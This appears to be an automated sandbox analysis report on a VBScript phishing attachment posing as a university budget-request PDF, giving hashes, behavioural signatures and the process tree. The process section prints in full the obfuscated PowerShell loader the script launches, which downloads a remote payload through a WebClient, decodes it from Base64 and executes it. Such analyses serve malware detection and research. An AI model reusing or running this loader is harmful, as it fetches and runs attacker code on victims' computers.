Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 07:17
Static task
static1
Behavioral task
behavioral1
Sample
PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs
Resource
win10v2004-20241007-en
General
-
Target
PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs
-
Size
85KB
-
MD5
736c66558711ee1a2cbf31dd7a30f618
-
SHA1
8068ed77dbf5b384bf4b36a495bc867fefcc6ed8
-
SHA256
fbfdf6aee524001b40e5aa011341036a9cfc804c7e328b6cae691de62fff59c3
-
SHA512
d8bb2933affb1054813b978f54d621d80a5bfe113d3de25706f251673288a49447539f871683fcd8aaaaecf7f73c1975bec55cf411cbaffc9b29555952682f5c
-
SSDEEP
1536:o70tN910kK4Gd9pzpuoNay2kJtvSgsJUqtkkyCX+7oYLgR1VCXaAj2DexCmG:oQP91hbU9NeatvST1tgCXWoYLEVCgexa
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 3 2368 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 872 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 872 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2368 wrote to memory of 872 2368 WScript.exe 30 PID 2368 wrote to memory of 872 2368 WScript.exe 30 PID 2368 wrote to memory of 872 2368 WScript.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PERMINTAAN ANGGARAN (Universitas IPB) ID177888·pdf.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Sybotic Fladorme Ribbefri Sawpit #><#Twangling Heltidsbeskftigendes Underkaste Ejerstrukturen undladelsessynders Shufty #>$Saltekarrene='reflip';function Yoick($Glyphs){If ($host.DebuggerEnabled) {$Sekteriker++;$Sithement=$Glyphs.'Length' - $Sekteriker} for ( $swiveling=4;$swiveling -lt $Sithement;$swiveling+=5){$Rorke=$swiveling;$Reglers+=$Glyphs[$swiveling]}$Reglers}function Narrestregen($Beat){ .($projiceret) ($Beat)}$Konsumeringernes=Yoick ' awmnMis e Libt Sog.Asp WCande VagbTrk cThymLdemai SikEFin N ,ikt esk ';$Stilmblerne=Yoick 'AfstMBrano DepzF reiFr nlSemil unka .kt/Demn ';$Tsiology=Yoick 'C emTStanl SolsMyel1Nodd2A gr ';$Kontraktioners='Trop[ TruNOldfE istTgen .Cy rS BlaEZar rOpegvSysti itcCE.soeSynsPSypioI iti mpeNbndeTgregMFejla Vikn artADa rGVkkee Aflrslat]Olie:E tr:In eS Slae ammcTil.UFelwrTar IprovT StaySnylpBattRRoseoStafTMarioAut CTr kO ramlDisk=,usp$tar TU,diSHy,rIRui oB hrL nteo .msg N.nYTalo ';$Stilmblerne+=Yoick 'Majo5 Bar. Reg0 Com Ins( orWOrdiiPartn etedBredoCarow upesUncr GrapNFresTShun .rim1 Pe,0Wayl.sko 0Nazi; nte TelW GuriPalenrung6Lvfa4Vago; Rem Ihsx usp6Work4Sags; eca RedrrUn qv ver: ig1sire3 ou 1S it.Udle0 ros) Hje nbuGLoreeElekcunfaksk toUne /supe2Sulp0Pulm1L.uc0 S.u0 Kim1s,is0 Den1Glut BrneFa,paiMinorInteeSkolfPanlo C,pxBayr/Vift1 erf3Soft1Comp.tric0Hove ';$Bedazement=Yoick 'Ski,US alsGammEParkrJean-Re kaTaoiG BageUnpon eciTNrre ';$Amoralitetens112=Yoick ' hi.hAtomtShartB ugpNikksKltr:Tr.q/forg/Yok,d ritrScati MorvAfgreDeba.Sl mgKrusoBankoResigAdral Cr,eNonv.aflyc OpfoEftemBein/Justu LsecRac ?Fad e.hrexbiblpGrino ommrSocitGnav=Snond Oato IndwBetenHyb l UnpoBracaD tadSvrm&ParliKnopdBehn=Cant1 husGmanaY op V UklwE brA De ZbrevePol _ Nask Mav3IndsHrecoh Fu X H.soHynet Lov-TilfX.ikkTTffeFAntiVUdspa JulaCoulE.usch Va 9 LeaUS reUUninqVrdii.aryJ.idrHGablY tox ';$Vulvocrural=Yoick 'Bye >Exta ';$projiceret=Yoick 'IrroI SolEUdgaXS od ';$Spanierne='betydningslren';$swivelingnsipient='\Borgerrettighed.Pol';Narrestregen (Yoick 'Alky$TilkG RadLTr kO L.pbDataABushlSt l:TorrmBortYnormO de pPreerBarrOhalvTBirte C liM.sonSurg=oppu$Nun eR dunBobrVBlas:CoadasdumPNumep uledtmmeACroqTSte a ,nd+Bram$BallSsi.kW.icriIntevPulwENdr lLup IEatan AdvgOpern SskST,wei engPTidsIBi,teUnbuN Afnta is ');Narrestregen (Yoick ' Cha$ MargBag Lt stoMaribMercAStilL B,d:For.SHor.aFr,eLUlt gAr esL,vicShimHMo,ea Sp uM.ndFTankFSarkrPlir5upca3Izaf=.one$ArmeaPendMTtnioCarbrH arALng lS rdiRiddt.onfETrutT RecEMetrNTr.msEndt1Pala1Poly2Evil.IrresMo op Un lLirkIEchotFeml(Syst$UdskVNaa uN,npl icvImbuO.pstCDwarrkonsu FasrD.avABekrlhawa),ord ');Narrestregen (Yoick $Kontraktioners);$Amoralitetens112=$Salgschauffr53[0];$Skandale130=(Yoick 'Co,n$dio gibinlCykeODoteB DedAK plL ,em:giolSUfo k ProiAnaxLPer L Hume unVUddegskrmSSelvfTablLBefiyHaantFortnAffai Po ND.aegOligSA le=AvlenLegae.arnwprea-StrioGastbAlitjVandE Ai cBoliT Try BesS CuryAcmaSAnveTUhareUnmem Aft.bogs$PuiskLataOThewN kaSbygguOphom Al E rchRUd eICur NNonaGAarmeTrearde,aNWildeLvsaSpreo ');Narrestregen ($Skandale130);Narrestregen (Yoick 'Lisc$ SveS GrukHe.iiIn alGstel NoneAff vLym gTingsDem fSkrilPi.ayForstBesknB,ggiApornaagegjungsA ie.WielH ArveCapraAjledAbnoeMaskrOpbysMoon[Fe.h$ nteBMor.eT akdVulcaDevozV lgeF rlmdk ieCo sn.ecttnar ]Usn = Pyr$PangSBenetAffei ndsl,nfrm Moob tillEftee BogrSlvknKulle Br ');$Paramastigate=Yoick 'Snyd$PostSDetekS.bciDepalRe sl CiteOvervPr,vgDe,es JowfG rdlJoggyJ but ParnJageiRenunResigUni sUn a.T.enD.ynooVentwSulfnUndelUlovo GuaahunddPortFSor.iTherlsagteR.ms(Chon$El cA intm ovso arir nstaEksplSk.giUgant UnceDr ftSnedeSammn .eys Ra.1Styr1,arg2,lbe, Scr$Fo lJ StruEnt mLnfobAutol tile,jord Rek4 ebr1Sild)Udsk ';$Jumbled41=$Myoprotein;Narrestregen (Yoick 'R,su$Om,gGS,vsL aaOEpigB GalASymbL Slu: P tVHalsrRab I GamGPelt= Bla(ForsT Re eR,nmSSapoTOver-BaklPMidnaMisltAmbiHOp f Macr$Ol gJS avUForkmu.soBIndtL idE PreDH,ar4 Baj1 Cni) ver ');while (!$vrig) {Narrestregen (Yoick 'C,ar$KopigGy,nl Fiso Gi bAstea Ve,l Dea:Ban A TjabTravs renvMaglo MislL,antmin =Thor$Anubtnon r eruAutoe,las ') ;Narrestregen $Paramastigate;Narrestregen (Yoick ',illsGeneTAkhla IntRMisitCyto- bersGeofLarreePho eFor.PBr.s Stam4Midd ');Narrestregen (Yoick 'Spe $ nfuGOu dlMornoPreoBIm aa CyklHomm: IsbvScenrVerdiFascg,ens=Gest( DektCo.pEneigSLamptpigg-GoutPm.isATeleT.rbah ,uk Redi$ FrujPol.uvalgmBon BFi eL DiveOverdTi g4Cons1Elec) Pr ') ;Narrestregen (Yoick ' Phr$ SevgFodbl,agtoSnakbUde ABrnelNatt:Rou mImboORollDS,amu Zanl .reAP otTLandIMurrOTaroNBu h=.dvi$ ArsGSweeL Ku.OUnrub XreaOmkrlGall:FortD ndeEBrempalc.H PlaLN,diO,uliG OveITandS lot inniTittc soma omnT MusEmilj+Vedf+Patr%Tidm$ParaS Ch aBo.tlKikkGRedasTykscI.teh ndeA MaiUcataFPo sfVagor ig5 ont3Drif.m,lmCLiceoBeviUIntenGerbtFor ') ;$Amoralitetens112=$Salgschauffr53[$Modulation]}$Hvervenes=280926;$Korrespondens=30345;Narrestregen (Yoick '.amu$IberG .nfLUdenoLevebReasAfierLNaes:UnplFEquaoTarpRparaTJereROutbnThunElapnL Stes SvieRundRBldg Marv= M s ConfGantie UnstLebe- EyeC oleo TubnKnigTCan eMa znFor tDhan Prop$RuneJWateUmundM ekaBBruglRem.eNe eD.eho4Me a1Tryk ');Narrestregen (Yoick 'Reli$NonegRep lOranoMantbfaxeaReaslSoli:HoveKRegloWeisgDriva Ce lUndvsProskMoonaProbb ,etsTegn und =Ubev Pers[ Ve SmiscyCym sForstReocePaenm and.LambC WanoUndenAnalvHusleVibrr UnrtProg]mask:Dewb:KlieFJaycrDecaoSkjomSt nBLi eaPerss Xyle Lon6El e4Co.uSStoltInelroveri Snun AdvgIndt(Ante$A,owfMytoo plarSpeetRea.rForenP treReallPhocsJi se blorKoka)Micr ');Narrestregen (Yoick ' .un$ImmuG raLGgetoHy.rBOmbuA Vr l est: Oves T do Pe nUndegPosisSamkT ElaRImpreBranSSkibsSupeeU baS ao1 Ep 6B ff5Hamm Kr k=Lind Para[VrdisRelaYRe.asSeruTUrinEAfspmSty..DititAntiE ,ncxza iT ,ae.TherE ycanBereCFrgeoS uddDecriBe yn TeaGAnbe]Legi:Zina:Be.yA RaaS l.uCCellIS eei Sut.RoseGLaudeStrmtLrerSBaryT SamRS.kuIforfNOverGObse(Gen,$U.isKChecOUroegExpuA yralOrk S VenkA,anASpigB Carsno i) hir ');Narrestregen (Yoick 'Ophr$LitagMultLNomioSledbKubiAc urLColu: Ge mAnt eActiSOto,sErikeJupiNTrus= Fly$Spr SNiseOPer NDenaGUhanSBladtFuldRFl ve.ebisAf vSChinE SlysOutb1St r6,eni5s ba. ifns HeduStowBBjrnS RoutJulerInfoI BlonAutoG Res( V d$ andH alaVPdqae.ollRRapsVB llEA,niNm,gneDe esSkra,Une $Ri pkKle OAtomrHumiRNonfED.mmS EndPKommo.vern SkrdNordEbarnnAn,iSU,ti)Pycn ');Narrestregen $Messen;"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:872
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b